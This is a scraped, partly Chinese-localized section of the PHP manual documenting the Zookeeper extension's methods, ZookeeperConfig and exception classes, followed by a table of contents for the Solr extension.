public static Zookeeper::setDebugLevel(int $logLevel): bool

参数

logLevel

ZooKeeper log level constants.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to set debug level.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

示例

Example #1 Zookeeper::setDebugLevel() example

Set debugl level.

<?php
$r = Zookeeper::setDebugLevel(Zookeeper::LOG_LEVEL_WARN);
if ($r)
echo 'SUCCESS';
else
echo 'ERR';
?>
?>

以上示例会输出：

SUCCESS

参见

  • ZooKeeper Log Levels
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Enable/disable quorum endpoint order randomization

  • ? Zookeeper::setDebugLevel
  • Zookeeper::setLogStream ?
  • PHP Manual
  • Zookeeper
  • Enable/disable quorum endpoint order randomization

Zookeeper::setDeterministicConnOrder

(PECL zookeeper >= 0.1.0)

Zookeeper::setDeterministicConnOrder — Enable/disable quorum endpoint order randomization

说明

public static Zookeeper::setDeterministicConnOrder(bool $yesOrNo): bool

If passed a true value, will make the client connect to quorum peers in the order as specified in the zookeeper_init() call. A false value causes zookeeper_init() to permute the peer endpoints which is good for more even client connection distribution among the quorum peers. ZooKeeper C Client uses false by default.

参数

yesOrNo

Disable/enable quorum endpoint order randomization.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or operation fails.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::__construct() - Create a handle to used communicate with zookeeper
  • Zookeeper::connect() - Create a handle to used communicate with zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Sets the stream to be used by the library for logging

  • ? Zookeeper::setDeterministicConnOrder
  • Zookeeper::setWatcher ?
  • PHP Manual
  • Zookeeper
  • Sets the stream to be used by the library for logging

Zookeeper::setLogStream

(PECL zookeeper >= 0.1.0)

Zookeeper::setLogStream — Sets the stream to be used by the library for logging

说明

public Zookeeper::setLogStream(resource $stream): bool

The zookeeper library uses stderr as its default log stream. Application must make sure the stream is writable. Passing in NULL resets the stream to its default value (stderr).

参数

stream

The stream to be used by the library for logging.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or operation fails.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::setDebugLevel() - Sets the debugging level for the library
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Set a watcher function

  • ? Zookeeper::setLogStream
  • ZookeeperConfig ?
  • PHP Manual
  • Zookeeper
  • Set a watcher function

Zookeeper::setWatcher

(PECL zookeeper >= 0.1.0)

Zookeeper::setWatcher — Set a watcher function

说明

public Zookeeper::setWatcher(callable $watcher_cb): bool

参数

watcher_cb

A watch will be set at the server to notify the client if the node changes.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

This method emits PHP error/warning when parameters count or types are wrong or fail to set watcher.

Caution

Since version 0.3.0, this method emits ZookeeperException and it's derivatives.

参见

  • Zookeeper::exists() - Checks the existence of a node in zookeeper synchronously
  • Zookeeper::get() - Gets the data associated with a node synchronously
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperConfig class

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

简介

The ZooKeeper Config handling class.

类摘要

class ZookeeperConfig {
/* 方法 */
public add(string $members, int $version = -1, array &$stat = null): void
public get(callable $watcher_cb = null, array &$stat = null): string
public remove(string $id_list, int $version = -1, array &$stat = null): void
public set(string $members, int $version = -1, array &$stat = null): void
}

Table of Contents

  • ZookeeperConfig::add — Add servers to the ensemble
  • ZookeeperConfig::get — Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
  • ZookeeperConfig::remove — Remove servers from the ensemble
  • ZookeeperConfig::set — Change ZK cluster ensemble membership and roles of ensemble peers

User Contributed Notes

There are no user contributed notes for this page.


Add servers to the ensemble

  • ? ZookeeperConfig
  • ZookeeperConfig::get ?
  • PHP Manual
  • ZookeeperConfig
  • Add servers to the ensemble

ZookeeperConfig::add

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::add — Add servers to the ensemble

说明

public ZookeeperConfig::add(string $members, int $version = -1, array &$stat = null): void

参数

members

Comma separated list of servers to be added to the ensemble. Each has a configuration line for a server to be added (as would appear in a configuration file), only for maj. quorums.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

stat

If not NULL, will hold the value of stat for the path on return.

返回值

没有返回值。

错误／异常

This method emits ZookeeperException and it's derivatives when parameters count or types are wrong or fail to save value to node.

示例

Example #1 ZookeeperConfig::add() example

Add members.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181");
$zkConfig->add("server.2=localhost:2889:3889:participant;0.0.0.0:2182");
$r = $zkConfig->get();
if ($r)
echo $r;
else
echo 'ERR';
?>

以上示例会输出：

server.1=localhost:2888:3888:participant;0.0.0.0:2181
server.2=localhost:2889:3889:participant;0.0.0.0:2182
version=0xca01e881a2

参见

  • ZookeeperConfig::get() - Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
  • ZookeeperConfig::set() - Change ZK cluster ensemble membership and roles of ensemble peers
  • ZookeeperConfig::remove() - Remove servers from the ensemble
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously

  • ? ZookeeperConfig::add
  • ZookeeperConfig::remove ?
  • PHP Manual
  • ZookeeperConfig
  • Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously

ZookeeperConfig::get

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::get — Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously

说明

public ZookeeperConfig::get(callable $watcher_cb = null, array &$stat = null): string

参数

watcher_cb

If nonzero, a watch will be set at the server to notify the client if the node changes.

stat

If not NULL, will hold the value of stat for the path on return.

返回值

Returns the configuration string on success, and false on failure.

错误／异常

This method emits ZookeeperException and it's derivatives when parameters count or types are wrong or fail to get configuration.

示例

Example #1 ZookeeperConfig::get() example

Get configuration.

<?php
$zk = new Zookeeper();
$zk->connect('localhost:2181');
$zk->addAuth('digest', 'timandes:timandes');
$zkConfig = $zk->getConfig();
$r = $zkConfig->get();
if ($r)
echo $r;
else
echo 'ERR';
?>

以上示例会输出：

server.1=localhost:2888:3888:participant;0.0.0.0:2181
version=0xca01e881a2

参见

  • ZookeeperConfig::set() - Change ZK cluster ensemble membership and roles of ensemble peers
  • ZookeeperConfig::add() - Add servers to the ensemble
  • ZookeeperConfig::remove() - Remove servers from the ensemble
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Remove servers from the ensemble

  • ? ZookeeperConfig::get
  • ZookeeperConfig::set ?
  • PHP Manual
  • ZookeeperConfig
  • Remove servers from the ensemble

ZookeeperConfig::remove

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::remove — Remove servers from the ensemble

说明

public ZookeeperConfig::remove(string $id_list, int $version = -1, array &$stat = null): void

参数

id_list

Comma separated list of server IDs to be removed from the ensemble. Each has an id of a server to be removed, only for maj. quorums.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

stat

If not NULL, will hold the value of stat for the path on return.

返回值

没有返回值。

错误／异常

This method emits ZookeeperException and it's derivatives when parameters count or types are wrong or fail to save value to node.

示例

Example #1 ZookeeperConfig::remove() example

Remove members.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181,server.2=localhost:2889:3889:participant;0.0.0.0:2182");
$zkConfig->remove("2");
echo $zkConfig->get();
if ($r)
echo $r;
else
echo 'ERR';
?>

以上示例会输出：

server.1=localhost:2888:3888:participant;0.0.0.0:2181
version=0xca01e881a2

参见

  • ZookeeperConfig::get() - Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
  • ZookeeperConfig::add() - Add servers to the ensemble
  • ZookeeperConfig::set() - Change ZK cluster ensemble membership and roles of ensemble peers
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Change ZK cluster ensemble membership and roles of ensemble peers

  • ? ZookeeperConfig::remove
  • ZookeeperException ?
  • PHP Manual
  • ZookeeperConfig
  • Change ZK cluster ensemble membership and roles of ensemble peers

ZookeeperConfig::set

(PECL zookeeper >= 0.6.0, ZooKeeper >= 3.5.0)

ZookeeperConfig::set — Change ZK cluster ensemble membership and roles of ensemble peers

说明

public ZookeeperConfig::set(string $members, int $version = -1, array &$stat = null): void

参数

members

Comma separated list of new membership (e.g., contents of a membership configuration file) - for use only with a non-incremental reconfiguration.

version

The expected version of the node. The function will fail if the actual version of the node does not match the expected version. If -1 is used the version check will not take place.

stat

If not NULL, will hold the value of stat for the path on return.

返回值

没有返回值。

错误／异常

This method emits ZookeeperException and it's derivatives when parameters count or types are wrong or fail to save value to node.

示例

Example #1 ZookeeperConfig::set() example

Reconfig.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->addAuth('digest', 'timandes:timandes');
$zkConfig = $client->getConfig();
$zkConfig->set("server.1=localhost:2888:3888:participant;0.0.0.0:2181");
?>

参见

  • ZookeeperConfig::get() - Gets the last committed configuration of the ZooKeeper cluster as it is known to the server to which the client is connected, synchronously
  • ZookeeperConfig::add() - Add servers to the ensemble
  • ZookeeperConfig::remove() - Remove servers from the ensemble
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperException class

(PECL zookeeper >= 0.3.0)

简介

The ZooKeeper exception handling class.

类摘要

class ZookeeperException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperAuthenticationException class

(PECL zookeeper >= 0.3.0)

简介

The ZooKeeper authentication exception handling class.

类摘要

class ZookeeperAuthenticationException extends ZookeeperException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperConnectionException class

(PECL zookeeper >= 0.3.0)

简介

The ZooKeeper connection exception handling class.

类摘要

class ZookeeperConnectionException extends ZookeeperException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperMarshallingException class

(PECL zookeeper >= 0.3.0)

简介

The ZooKeeper exception (while marshalling or unmarshalling data) handling class.

类摘要

class ZookeeperMarshallingException extends ZookeeperException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperNoNodeException class

(PECL zookeeper >= 0.3.0)

简介

The ZooKeeper exception (when node does not exist) handling class.

类摘要

class ZookeeperNoNodeException extends ZookeeperException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperOperationTimeoutException class

(PECL zookeeper >= 0.3.0)

简介

The ZooKeeper operation timeout exception handling class.

类摘要

class ZookeeperOperationTimeoutException extends ZookeeperException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The ZookeeperSessionException class

(PECL zookeeper >= 0.3.0)

简介

The ZooKeeper session exception handling class.

类摘要

class ZookeeperSessionException extends ZookeeperException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


搜索引擎扩展

  • Solr — Apache Solr
    • 简介
    • 安装/配置
    • 预定义常量
    • Solr 函数
    • 示例
    • SolrUtils — The SolrUtils class
    • SolrInputDocument — The SolrInputDocument class
    • SolrDocument — The SolrDocument class
    • SolrDocumentField — The SolrDocumentField class
    • SolrObject — The SolrObject class
    • SolrClient — The SolrClient class
    • SolrResponse — The SolrResponse class
    • SolrQueryResponse — The SolrQueryResponse class
    • SolrUpdateResponse — The SolrUpdateResponse class
    • SolrPingResponse — The SolrPingResponse class
    • SolrGenericResponse — The SolrGenericResponse class
    • SolrParams — The SolrParams class
    • SolrModifiableParams — The SolrModifiableParams class
    • SolrQuery — The SolrQuery class
    • SolrDisMaxQuery — The SolrDisMaxQuery class
    • SolrCollapseFunction — The SolrCollapseFunction class
    • SolrException — The SolrException class
    • SolrClientException — The SolrClientException class
    • SolrServerException — The SolrServerException class
    • SolrIllegalArgumentException — The SolrIllegalArgumentException class
    • SolrIllegalOperationException — The SolrIllegalOperationException class
    • SolrMissingMandatoryParameterException — The SolrMissingMandatoryParameterException class

User Contributed Notes

There are no user contributed notes for this page.


Apache Solr

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Solr 函数
    • solr_get_version — 返回当前Solr扩展的版本
  • 示例
  • SolrUtils — The SolrUtils class
    • SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject
    • SolrUtils::escapeQueryChars — Escapes a lucene query string
    • SolrUtils::getSolrVersion — Returns the current version of the Solr extension
    • SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string
  • SolrInputDocument — The SolrInputDocument class
    • SolrInputDocument::addChildDocument — Adds a child document for block indexing
    • SolrInputDocument::addChildDocuments — Adds an array of child documents
    • SolrInputDocument::addField — Adds a field to the document
    • SolrInputDocument::clear — Resets the input document
    • SolrInputDocument::__clone — Creates a copy of a SolrDocument
    • SolrInputDocument::__construct — Constructor
    • SolrInputDocument::deleteField — Removes a field from the document
    • SolrInputDocument::__destruct — Destructor
    • SolrInputDocument::fieldExists — Checks if a field exists
    • SolrInputDocument::getBoost — Retrieves the current boost value for the document
    • SolrInputDocument::getChildDocuments — Returns an array of child documents (SolrInputDocument)
    • SolrInputDocument::getChildDocumentsCount — Returns the number of child documents
    • SolrInputDocument::getField — Retrieves a field by name
    • SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field
    • SolrInputDocument::getFieldCount — Returns the number of fields in the document
    • SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document
    • SolrInputDocument::hasChildDocuments — Returns true if the document has any child documents
    • SolrInputDocument::merge — Merges one input document into another
    • SolrInputDocument::reset — 别名 SolrInputDocument::clear
    • SolrInputDocument::setBoost — Sets the boost value for this document
    • SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field
    • SolrInputDocument::sort — Sorts the fields within the document
    • SolrInputDocument::toArray — Returns an array representation of the input document
  • SolrDocument — The SolrDocument class
    • SolrDocument::addField — Adds a field to the document
    • SolrDocument::clear — Drops all the fields in the document
    • SolrDocument::__clone — Creates a copy of a SolrDocument object
    • SolrDocument::__construct — Constructor
    • SolrDocument::current — Retrieves the current field
    • SolrDocument::deleteField — Removes a field from the document
    • SolrDocument::__destruct — Destructor
    • SolrDocument::fieldExists — Checks if a field exists in the document
    • SolrDocument::__get — Access the field as a property
    • SolrDocument::getChildDocuments — Returns an array of child documents (SolrDocument)
    • SolrDocument::getChildDocumentsCount — Returns the number of child documents
    • SolrDocument::getField — Retrieves a field by name
    • SolrDocument::getFieldCount — Returns the number of fields in this document
    • SolrDocument::getFieldNames — Returns an array of fields names in the document
    • SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object
    • SolrDocument::hasChildDocuments — Checks whether the document has any child documents
    • SolrDocument::__isset — Checks if a field exists
    • SolrDocument::key — Retrieves the current key
    • SolrDocument::merge — Merges source to the current SolrDocument
    • SolrDocument::next — Moves the internal pointer to the next field
    • SolrDocument::offsetExists — Checks if a particular field exists
    • SolrDocument::offsetGet — Retrieves a field
    • SolrDocument::offsetSet — Adds a field to the document
    • SolrDocument::offsetUnset — Removes a field
    • SolrDocument::reset — 别名 SolrDocument::clear
    • SolrDocument::rewind — Resets the internal pointer to the beginning
    • SolrDocument::serialize — Used for custom serialization
    • SolrDocument::__set — Adds another field to the document
    • SolrDocument::sort — Sorts the fields in the document
    • SolrDocument::toArray — Returns an array representation of the document
    • SolrDocument::unserialize — Custom serialization of SolrDocument objects
    • SolrDocument::__unset — Removes a field from the document
    • SolrDocument::valid — Checks if the current position internally is still valid
  • SolrDocumentField — The SolrDocumentField class
    • SolrDocumentField::__construct — Constructor
    • SolrDocumentField::__destruct — Destructor
  • SolrObject — The SolrObject class
    • SolrObject::__construct — Creates Solr object
    • SolrObject::__destruct — Destructor
    • SolrObject::getPropertyNames — Returns an array of all the names of the properties
    • SolrObject::offsetExists — Checks if the property exists
    • SolrObject::offsetGet — Used to retrieve a property
    • SolrObject::offsetSet — Sets the value for a property
    • SolrObject::offsetUnset — Unsets the value for the property
  • SolrClient — The SolrClient class
    • SolrClient::addDocument — Adds a document to the index
    • SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index
    • SolrClient::commit — Finalizes all add/deletes made to the index
    • SolrClient::__construct — Constructor for the SolrClient object
    • SolrClient::deleteById — Delete by Id
    • SolrClient::deleteByIds — Deletes by Ids
    • SolrClient::deleteByQueries — Removes all documents matching any of the queries
    • SolrClient::deleteByQuery — Deletes all documents matching the given query
    • SolrClient::__destruct — Destructor for SolrClient
    • SolrClient::getById — Get Document By Id. Utilizes Solr Realtime Get (RTG)
    • SolrClient::getByIds — Get Documents by their Ids. Utilizes Solr Realtime Get (RTG)
    • SolrClient::getDebug — Returns the debug data for the last connection attempt
    • SolrClient::getOptions — Returns the client options set internally
    • SolrClient::optimize — Defragments the index
    • SolrClient::ping — Checks if Solr server is still up
    • SolrClient::query — Sends a query to the server
    • SolrClient::request — Sends a raw update request
    • SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit
    • SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr
    • SolrClient::setServlet — Changes the specified servlet type to a new value
    • SolrClient::system — Retrieve Solr Server information
    • SolrClient::threads — Checks the threads status
  • SolrResponse — The SolrResponse class
    • SolrResponse::getDigestedResponse — Returns the XML response as serialized PHP data
    • SolrResponse::getHttpStatus — Returns the HTTP status of the response
    • SolrResponse::getHttpStatusMessage — Returns more details on the HTTP status
    • SolrResponse::getRawRequest — Returns the raw request sent to the Solr server
    • SolrResponse::getRawRequestHeaders — Returns the raw request headers sent to the Solr server
    • SolrResponse::getRawResponse — Returns the raw response from the server
    • SolrResponse::getRawResponseHeaders — Returns the raw response headers from the server
    • SolrResponse::getRequestUrl — Returns the full URL the request was sent to
    • SolrResponse::getResponse — Returns a SolrObject representing the XML response from the server
    • SolrResponse::setParseMode — Sets the parse mode
    • SolrResponse::success — Was the request a success
  • SolrQueryResponse — The SolrQueryResponse class
    • SolrQueryResponse::__construct — Constructor
    • SolrQueryResponse::__destruct — Destructor
  • SolrUpdateResponse — The SolrUpdateResponse class
    • SolrUpdateResponse::__construct — Constructor
    • SolrUpdateResponse::__destruct — Destructor
  • SolrPingResponse — The SolrPingResponse class
    • SolrPingResponse::__construct — Constructor
    • SolrPingResponse::__destruct — Destructor
    • SolrPingResponse::getResponse — Returns the response from the server
  • SolrGenericResponse — The SolrGenericResponse class
    • SolrGenericResponse::__construct — Constructor
    • SolrGenericResponse::__destruct — Destructor
  • SolrParams — The SolrParams class
    • SolrParams::add — 别名 SolrParams::addParam
    • SolrParams::addParam — Adds a parameter to the object
    • SolrParams::get — 别名 SolrParams::getParam
    • SolrParams::getParam — Returns a parameter value
    • SolrParams::getParams — Returns an array of non URL-encoded parameters
    • SolrParams::getPreparedParams — Returns an array of URL-encoded parameters
    • SolrParams::serialize — Used for custom serialization
    • SolrParams::set — 别名 SolrParams::setParam
    • SolrParams::setParam — Sets the parameter to the specified value
    • SolrParams::toString — Returns all the name-value pair parameters in the object
    • SolrParams::unserialize — Used for custom serialization
  • SolrModifiableParams — The SolrModifiableParams class
    • SolrModifiableParams::__construct — Constructor
    • SolrModifiableParams::__destruct — Destructor
  • SolrQuery — The SolrQuery class
    • SolrQuery::addExpandFilterQuery — Overrides main filter query, determines which documents to include in the main group
    • SolrQuery::addExpandSortField — Orders the documents within the expanded groups (expand.sort parameter)
    • SolrQuery::addFacetDateField — Maps to facet.date
    • SolrQuery::addFacetDateOther — Adds another facet.date.other parameter
    • SolrQuery::addFacetField — Adds another field to the facet
    • SolrQuery::addFacetQuery — Adds a facet query
    • SolrQuery::addField — Specifies which fields to return in the result
    • SolrQuery::addFilterQuery — Specifies a filter query
    • SolrQuery::addGroupField — Add a field to be used to group results
    • SolrQuery::addGroupFunction — Allows grouping results based on the unique values of a function query (group.func parameter)
    • SolrQuery::addGroupQuery — Allows grouping of documents that match the given query
    • SolrQuery::addGroupSortField — Add a group sort field (group.sort parameter)
    • SolrQuery::addHighlightField — Maps to hl.fl
    • SolrQuery::addMltField — Sets a field to use for similarity
    • SolrQuery::addMltQueryField — Maps to mlt.qf
    • SolrQuery::addSortField — Used to control how the results should be sorted
    • SolrQuery::addStatsFacet — Requests a return of sub results for values within the given facet
    • SolrQuery::addStatsField — Maps to stats.field parameter
    • SolrQuery::collapse — Collapses the result set to a single document per group
    • SolrQuery::__construct — Constructor
    • SolrQuery::__destruct — Destructor
    • SolrQuery::getExpand — Returns true if group expanding is enabled
    • SolrQuery::getExpandFilterQueries — Returns the expand filter queries
    • SolrQuery::getExpandQuery — Returns the expand query expand.q parameter
    • SolrQuery::getExpandRows — Returns The number of rows to display in each group (expand.rows)
    • SolrQuery::getExpandSortFields — Returns an array of fields
    • SolrQuery::getFacet — Returns the value of the facet parameter
    • SolrQuery::getFacetDateEnd — Returns the value for the facet.date.end parameter
    • SolrQuery::getFacetDateFields — Returns all the facet.date fields
    • SolrQuery::getFacetDateGap — Returns the value of the facet.date.gap parameter
    • SolrQuery::getFacetDateHardEnd — Returns the value of the facet.date.hardend parameter
    • SolrQuery::getFacetDateOther — Returns the value for the facet.date.other parameter
    • SolrQuery::getFacetDateStart — Returns the lower bound for the first date range for all date faceting on this field
    • SolrQuery::getFacetFields — Returns all the facet fields
    • SolrQuery::getFacetLimit — Returns the maximum number of constraint counts that should be returned for the facet fields
    • SolrQuery::getFacetMethod — Returns the value of the facet.method parameter
    • SolrQuery::getFacetMinCount — Returns the minimum counts for facet fields should be included in the response
    • SolrQuery::getFacetMissing — Returns the current state of the facet.missing parameter
    • SolrQuery::getFacetOffset — Returns an offset into the list of constraints to be used for pagination
    • SolrQuery::getFacetPrefix — Returns the facet prefix
    • SolrQuery::getFacetQueries — Returns all the facet queries
    • SolrQuery::getFacetSort — Returns the facet sort type
    • SolrQuery::getFields — Returns the list of fields that will be returned in the response
    • SolrQuery::getFilterQueries — Returns an array of filter queries
    • SolrQuery::getGroup — Returns true if grouping is enabled
    • SolrQuery::getGroupCachePercent — Returns group cache percent value
    • SolrQuery::getGroupFacet — Returns the group.facet parameter value
    • SolrQuery::getGroupFields — Returns group fields (group.field parameter values)
    • SolrQuery::getGroupFormat — Returns the group.format value
    • SolrQuery::getGroupFunctions — Returns group functions (group.func parameter values)
    • SolrQuery::getGroupLimit — Returns the group.limit value
    • SolrQuery::getGroupMain — Returns the group.main value
    • SolrQuery::getGroupNGroups — Returns the group.ngroups value
    • SolrQuery::getGroupOffset — Returns the group.offset value
    • SolrQuery::getGroupQueries — Returns all the group.query parameter values
    • SolrQuery::getGroupSortFields — Returns the group.sort value
    • SolrQuery::getGroupTruncate — Returns the group.truncate value
    • SolrQuery::getHighlight — Returns the state of the hl parameter
    • SolrQuery::getHighlightAlternateField — Returns the highlight field to use as backup or default
    • SolrQuery::getHighlightFields — Returns all the fields that Solr should generate highlighted snippets for
    • SolrQuery::getHighlightFormatter — Returns the formatter for the highlighted output
    • SolrQuery::getHighlightFragmenter — Returns the text snippet generator for highlighted text
    • SolrQuery::getHighlightFragsize — Returns the number of characters of fragments to consider for highlighting
    • SolrQuery::getHighlightHighlightMultiTerm — Returns whether or not to enable highlighting for range/wildcard/fuzzy/prefix queries
    • SolrQuery::getHighlightMaxAlternateFieldLength — Returns the maximum number of characters of the field to return
    • SolrQuery::getHighlightMaxAnalyzedChars — Returns the maximum number of characters into a document to look for suitable snippets
    • SolrQuery::getHighlightMergeContiguous — Returns whether or not the collapse contiguous fragments into a single fragment
    • SolrQuery::getHighlightRegexMaxAnalyzedChars — Returns the maximum number of characters from a field when using the regex fragmenter
    • SolrQuery::getHighlightRegexPattern — Returns the regular expression for fragmenting
    • SolrQuery::getHighlightRegexSlop — Returns the deviation factor from the ideal fragment size
    • SolrQuery::getHighlightRequireFieldMatch — Returns if a field will only be highlighted if the query matched in this particular field
    • SolrQuery::getHighlightSimplePost — Returns the text which appears after a highlighted term
    • SolrQuery::getHighlightSimplePre — Returns the text which appears before a highlighted term
    • SolrQuery::getHighlightSnippets — Returns the maximum number of highlighted snippets to generate per field
    • SolrQuery::getHighlightUsePhraseHighlighter — Returns the state of the hl.usePhraseHighlighter parameter
    • SolrQuery::getMlt — Returns whether or not MoreLikeThis results should be enabled
    • SolrQuery::getMltBoost — Returns whether or not the query will be boosted by the interesting term relevance
    • SolrQuery::getMltCount — Returns the number of similar documents to return for each result
    • SolrQuery::getMltFields — Returns all the fields to use for similarity
    • SolrQuery::getMltMaxNumQueryTerms — Returns the maximum number of query terms that will be included in any generated query
    • SolrQuery::getMltMaxNumTokens — Returns the maximum number of tokens to parse in each document field that is not stored with TermVector support
    • SolrQuery::getMltMaxWordLength — Returns the maximum word length above which words will be ignored
    • SolrQuery::getMltMinDocFrequency — Returns the treshold frequency at which words will be ignored which do not occur in at least this many docs
    • SolrQuery::getMltMinTermFrequency — Returns the frequency below which terms will be ignored in the source document
    • SolrQuery::getMltMinWordLength — Returns the minimum word length below which words will be ignored
    • SolrQuery::getMltQueryFields — Returns the query fields and their boosts
    • SolrQuery::getQuery — Returns the main query
    • SolrQuery::getRows — Returns the maximum number of documents
    • SolrQuery::getSortFields — Returns all the sort fields
    • SolrQuery::getStart — Returns the offset in the complete result set
    • SolrQuery::getStats — Returns whether or not stats is enabled
    • SolrQuery::getStatsFacets — Returns all the stats facets that were set
    • SolrQuery::getStatsFields — Returns all the statistics fields
    • SolrQuery::getTerms — Returns whether or not the TermsComponent is enabled
    • SolrQuery::getTermsField — Returns the field from which the terms are retrieved
    • SolrQuery::getTermsIncludeLowerBound — Returns whether or not to include the lower bound in the result set
    • SolrQuery::getTermsIncludeUpperBound — Returns whether or not to include the upper bound term in the result set
    • SolrQuery::getTermsLimit — Returns the maximum number of terms Solr should return
    • SolrQuery::getTermsLowerBound — Returns the term to start at
    • SolrQuery::getTermsMaxCount — Returns the maximum document frequency
    • SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included
    • SolrQuery::getTermsPrefix — Returns the term prefix
    • SolrQuery::getTermsReturnRaw — Whether or not to return raw characters
    • SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted
    • SolrQuery::getTermsUpperBound — Returns the term to stop at
    • SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish
